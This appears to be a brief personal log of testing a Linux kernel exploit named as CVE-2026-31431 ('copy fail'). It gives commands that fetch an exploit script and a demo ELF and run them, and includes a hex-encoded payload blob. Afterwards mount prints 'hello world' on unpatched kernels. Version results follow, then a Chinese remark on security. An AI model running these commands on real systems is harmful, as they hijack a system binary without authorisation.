wget https://github.com/0scarB/hello.elf/raw/main/hello.elf -O hello.elf
python3 helloworldbin.py
789cab77f57163626464d8c4c7cfba81f16c0313831d0323030343008303030858304080476a4e4ebe8e42787e514e8a229705580d2b581d04c0d46f6074e838be4f03c87bbd06c487d13000000073119b
curl -O https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py
python3 copy_fail_exp2.py
command mount will just print hello world! from now on if kernel not patched.
linux 6.18.20 有效
linux 7.0.2 无效
所以:
你不深刻了解的东西，就不存在真正的安全。 (不深刻了解 = 没有安全)